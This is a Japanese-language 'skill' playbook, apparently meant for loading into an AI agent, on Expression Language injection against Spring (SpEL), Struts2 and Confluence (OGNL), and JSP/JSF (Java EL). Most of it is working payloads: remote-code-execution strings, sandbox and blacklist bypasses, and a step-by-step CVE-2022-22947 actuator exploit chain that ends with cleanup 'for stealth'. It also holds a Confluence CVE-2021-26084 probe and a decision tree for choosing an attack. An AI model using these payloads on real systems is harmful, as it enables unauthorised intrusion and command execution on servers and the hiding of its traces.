SKILL: Expression Language インジェクション — エキスパート攻撃プレイブック

AI LOAD INSTRUCTION: SpEL（Spring）、OGNL（Struts2）、Java EL（JSP/JSF）をカバーするエキスパート EL インジェクション技術。SSTI とは異なり、EL インジェクションはテンプレートエンジンではなく、Java フレームワークに組み込まれた式評価器を対象とします。サンドボックスバイパス、_memberAccess 操作、アクチュエータ悪用、実世界の CVE チェーンをカバーします。

0. 関連ルーティング

• ssti-server-side-template-injection テンプレートエンジン（Jinja2、FreeMarker、Twig）向け — 攻撃対象が異なります
• jndi-injection EL 評価が JNDI ルックアップにつながる場合

主な違い: SSTI はテンプレートレンダリングエンジンを対象とし、EL インジェクションは Java フレームワークに組み込まれた式評価器を対象とします。検出プローブ（${7*7}）は共通していますが、悪用方法は異なります。

---

1. 検出 — ポリグロットプローブ

${7*7}              → 49 = SpEL、OGNL、または Java EL
#{7*7}              → 49 = SpEL（別の構文）または JSF EL
%{7*7}              → 49 = OGNL（Struts2）
${T(java.lang.Math).random()}  → ランダムな浮動小数点数 = SpEL 確認済み
%{#context}         → オブジェクトダンプ = OGNL 確認済み

区別方法

${7*7} への応答	%{7*7} への応答	エンジン
49	リテラル %{7*7}	SpEL または Java EL
リテラル ${7*7}	49	OGNL（Struts2）
49	49	両方が有効な可能性あり

---

2. SpEL（SPRING EXPRESSION LANGUAGE）

SpEL が出現する場所

• @Value("${...}") アノテーション
• Spring Security 式（@PreAuthorize）
• Spring Cloud Gateway ルート述語とフィルター
• Thymeleaf th:text="${...}"（__${...}__ 前処理と組み合わせた場合）
• Spring Data @Query with SpEL

Runtime.exec 経由の RCE

${T(java.lang.Runtime).getRuntime().exec("id")}

出力キャプチャ付き RCE（Commons IO）

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("id").getInputStream())}

出力キャプチャ付き RCE（Spring StreamUtils）

#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec('whoami').getInputStream()))}

ProcessBuilder（Runtime がブロックされている場合の代替手段）

${new java.lang.ProcessBuilder(new String[]{"id"}).start()}

Spring Cloud Gateway — CVE-2022-22947

アクチュエータ経由で SpEL フィルターを含む悪意のあるルートを追加して悪用：

# ステップ 1: SpEL を含むルートをフィルターに追加（出力キャプチャ付き）
POST /actuator/gateway/routes/hacktest
Content-Type: application/json
{
  "id": "hacktest",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec('whoami').getInputStream()))}"
    }
  }],
  "uri": "http://example.com",
  "predicates": [{"name": "Path", "args": {"_genkey_0": "/hackpath"}}]
}

# ステップ 2: ルートをリフレッシュして適用
POST /actuator/gateway/refresh

# ステップ 3: ルートをトリガー
GET /hackpath
# レスポンスヘッダー "Result" にコマンド出力が含まれます

# ステップ 4: クリーンアップ（ステルス性のために重要）
DELETE /actuator/gateway/routes/hacktest
POST /actuator/gateway/refresh

SpEL サンドボックスバイパス

SimpleEvaluationContext が使用されている場合（T() 演算子を制限）：

// リフレクションベースのバイパスを試す:
${''.class.forName('java.lang.Runtime').getMethod('exec',''.class).invoke(''.class.forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'id')}

---

3. OGNL（OBJECT-GRAPH NAVIGATION LANGUAGE）

OGNL が出現する場所

• Apache Struts2 — 主要な OGNL 消費者
• Confluence Server — 特定のリクエストパスで OGNL を使用
• ognl.Ognl.getValue() または ognl.Ognl.setValue() を使用する任意の Java アプリケーション

基本的な RCE

%{(#cmd='id').(#rt=@java.lang.Runtime@getRuntime()).(#rt.exec(#cmd))}

Struts2 サンドボックスバイパス — _memberAccess 操作

Struts2 は SecurityMemberAccess 経由で OGNL を制限します。古典的なバイパスは制限をクリアします：

%{(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd','/c',#cmd}:{'/bin/sh','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

Struts2 OgnlUtil ブラックリストクリア

新しい Struts2 バージョンはクラス/パッケージのブラックリストを使用します。excludedClasses と excludedPackageNames をクリアしてバイパス：

%{(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.excludedClasses.clear()).(#ognlUtil.excludedPackageNames.clear()).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(#cmd='id').(#rt=@java.lang.Runtime@getRuntime().exec(#cmd))}

主要な Struts2 CVE

CVE	ベクトル	ペイロード位置
S2-045（CVE-2017-5638）	Content-Type ヘッダー	%{...} in Content-Type
S2-046（CVE-2017-5638）	マルチパートファイル名	アップロードファイル名の OGNL
S2-016（CVE-2013-2251）	redirect: / redirectAction: プリフィックス	URL パラメーター
S2-048（CVE-2017-9791）	Struts Showcase	ActionMessage with OGNL
S2-057（CVE-2018-11776）	Namespace OGNL	URL パス

Confluence OGNL — CVE-2021-26084

Confluence Server は queryString またはアクションパラメーター経由で OGNL インジェクションを許可します：

POST /pages/createpage-entervariables.action
Content-Type: application/x-www-form-urlencoded

queryString=%5cu0027%2b%7b3*3%7d%2b%5cu0027
# URL デコード: \u0027+{3*3}+\u0027
# レスポンスに 9 が含まれている場合 → 確認済み
# RCE の場合は Runtime.exec にエスカレート

---

4. JAVA EL（JSP / JSF）

Java EL が出現する場所

• JSP ページ: ${expression} および #{expression}
• JSF（JavaServer Faces）: 値とメソッドバインディング
• カスタムタグライブラリ

RCE ペイロード

// Runtime を使用した Java EL:
${Runtime.getRuntime().exec("id")}

// pageContext 経由（JSP）:
${pageContext.request.getServletContext().getClassLoader()}

// リフレクションベース:
${"".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"id")}

---

5. 検出方法論

入力が反映されており ${7*7} が 49 を返す?
├── Java アプリケーション?
│   ├── Struts2? → %{...} OGNL ペイロードを試す
│   │   └── Content-Type インジェクションをチェック（S2-045）
│   ├── Spring? → T(java.lang.Runtime) SpEL を試す
│   │   └── /actuator/gateway をチェック（Spring Cloud Gateway）
│   ├── Confluence? → アクションパラメーター経由で OGNL を試す
│   └── JSP/JSF? → Java EL ペイロードを試す
│
├── エラーメッセージがフレームワークを明らかにする?
│   ├── "ognl.OgnlException" → OGNL
│   ├── "SpelEvaluationException" → SpEL
│   └── "javax.el.ELException" → Java EL
│
└── サンドボックスでブロックされている?
    ├── OGNL: _memberAccess / excludedClasses をクリア
    ├── SpEL: SimpleEvaluationContext のリフレクションバイパス
    └── 代替 exec メソッド（ProcessBuilder、ScriptEngine）を試す

---

6. クイックリファレンス

# SpEL RCE:
${T(java.lang.Runtime).getRuntime().exec("id")}

# OGNL RCE（Struts2）:
%{(#rt=@java.lang.Runtime@getRuntime()).(#rt.exec('id'))}

# サンドボックスバイパス付き OGNL:
%{(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#rt=@java.lang.Runtime@getRuntime()).(#rt.exec('id'))}

# Java EL RCE:
${"".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"id")}

# Confluence CVE-2021-26084 プローブ:
queryString=\u0027%2b{3*3}%2b\u0027

# Spring Cloud Gateway CVE-2022-22947:
POST /actuator/gateway/routes/x  → フィルター引数の SpEL
POST /actuator/gateway/refresh